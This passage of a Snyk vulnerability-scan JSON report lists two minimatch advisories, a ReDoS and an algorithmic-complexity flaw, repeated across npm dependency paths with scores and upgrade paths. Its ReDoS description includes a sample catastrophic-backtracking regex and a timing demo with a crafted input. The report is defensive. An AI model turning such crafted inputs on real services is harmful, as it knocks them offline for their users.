(ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", 